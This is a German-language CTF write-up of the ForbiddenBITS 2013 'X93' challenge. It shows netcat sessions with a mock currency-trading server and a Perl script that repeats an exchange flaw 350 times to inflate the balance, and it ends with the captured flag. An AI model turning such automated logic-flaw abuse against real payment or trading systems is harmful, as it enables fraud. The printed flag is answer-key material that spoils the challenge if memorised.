ForbiddenBITS CTF 2013 – X93

ForbiddenBITS CTF 2013 - X93 - task description

Diese Challenge (X93) ist der vorherigen “X94-Machine” sehr ähnlich. Nicht nur die Aufgabenstellung ist identisch, auch der Server selbst bietet exakt die gleichen Funktionen.

rup0rt@lambda:~/FB2013$ nc 95.170.83.28 3003
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 _    _  93   _________   ______   ______  _    _  _____  ______   ______
\ \  / /     | | | | | \ | |  | | | |     | |  | |  | |  | |  \ \ | |
 >|--|<      | | | | | | | |__| | | |     | |--| |  | |  | |  | | | |----
/_/  \_\     |_| |_| |_| |_|  |_| |_|____ |_|  |_| _|_|_ |_|  |_| |_|____

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Really Wanna Trade with us ? yes/no
yes

Enter Username :
1338-offbyone

Welcome 1338

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
4

This Area is restrcited for accounts with 5000usd+

Wieder geht es darum, unseren Kontostand auf über 5000 US-Dollar zu erhöhen um so auf den geschützen Bereich zugreifen zu können. Zunächst wiederholen wir testweise unser Vorgehen aus der voherigen Challenge.

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
EUR 

Enter Source currency
USD

Enter Amount
-5000 

you dont have such amount

Diesmal scheinen die Benutzereingaben jedoch korrekt validiert zu werden und wir müssen einen anderen Weg finden, unser Konto aufzufüllen. Da das System beim Währungstausch einen Umrechnungsfaktor verwenden muss, liegt vielleicht eine Ungenauigkeiten beim Runden vor?

Your Balance : 100 USD , 100 EUR , 100 GBP 

Enter your Command :
[1] balance
[2] exchange
[3] transfert
[4] restricted area
2 

Enter Destination currency
GBP

Enter Source currency
EUR

Enter Amount
50

Your Balance : 100 USD , 50 EUR , 143 GBP 

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
EUR

Enter Source currency
GBP

Enter Amount
43

Your Balance : 100 USD , 116.15 EUR , 100 GBP

Hier haben wir einmal 50 Euro in 43 Britische Pfund und wieder zurück getauscht. Das zweimalige Umtauschen einer Währung sollte in der Theorie wieder den Ursprungszustand von jeweils 100 Einheiten der jeweiligen Währung erzeugen. Dies ist hier jedoch nicht der Fall! Wir haben deutlich mehr Euro als vor dem Umtausch.

Woran dieses Verhalten liegt, können wir ohne weiteres nicht feststellen, bei dieser Größe des Betrages scheint es jedoch kein Rundungsfehler zu sein. Dennoch können wir diesen Fehler bei der Umrechnung ausnutzen um unser Konto zu füllen. Dazu müssen wir nur oft genug Währungen umtauschen, bis uns ein Äquivalent von 5000 US-Dollar zur Verfügung steht.

Das folgende Skript wird dieses Vorgehen automatisch durchführen:

#!/usr/bin/perl -w

# ForbiddenBITS CTF 2013
# X93 Challenge

use IO::Socket::INET;

$| = 1;

$socket = new IO::Socket::INET (
PeerHost => '95.170.83.28',
PeerPort => '3003',
Proto => 'tcp',
) or die "ERROR in Socket Creation : $!\n";

print "CONNECT!\n";

$i = 0;
while ($data = <$socket>) {
  print "$data";

  ## Really Wanna Trade with us ? yes/no
  if ($data =~ m/Really Wanna/) {
    print "ANSWERING YES...\n";
    print $socket "yes\n";
  }

  ## Enter Username :
  if ($data =~ m/Username/) {
    print "SENDING USERNAME...\n";
    print $socket "1338-offbyone\n";
  }

  ## end of main menu
  if ($data =~ m/restricted area/) {
    print "TRANSFERING MONEY...\n";

    ## EXCHANGE 100 EUR --> 100 GBP --> 100 EUR,  350 times
    if ($i++ < 350) {
      if (($i % 2) == 0) {
        print $socket "2\n";
        print $socket "GBP\n";
        print $socket "EUR\n";
        print $socket "100\n";
      } else {
        print $socket "2\n";
        print $socket "EUR\n";
        print $socket "GBP\n";
        print $socket "100\n";
      }
    ## FINALLY EXCHANGE 5000 USD
    } else {
      print $socket "2\n";
      print $socket "USD\n";
      print $socket "EUR\n";
      print $socket "5000\n";

      ## AND GET THE FLAG :)
      print $socket "4\n";
    }
  }
}

$socket->close();

Die Ausführung des Skriptes liefert diese Ausgabe:

[...]

[1] balance
[2] exchange
[3] transfert
[4] restricted area
TRANSFERING MONEY...

Enter Destination currency

Enter Source currency

Enter Amount

Your Balance : 5400.13 USD , 23.5700000000024 EUR , 99.9 GBP 

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
TRANSFERING MONEY...

FLAG{7d21ca3a7a2f068347efac7c2c9794bdb3bd0ab0}

Durch Ungenauigkeiten oder Fehler im System konnte unser Konto auf über 5000 US-Dollar aufgefüllt und so der Schlüssel zur Challenge erlangt werden.

Die Lösung lautet “7d21ca3a7a2f068347efac7c2c9794bdb3bd0ab0“.

Leave a Reply

Your email address will not be published. Required fields are marked *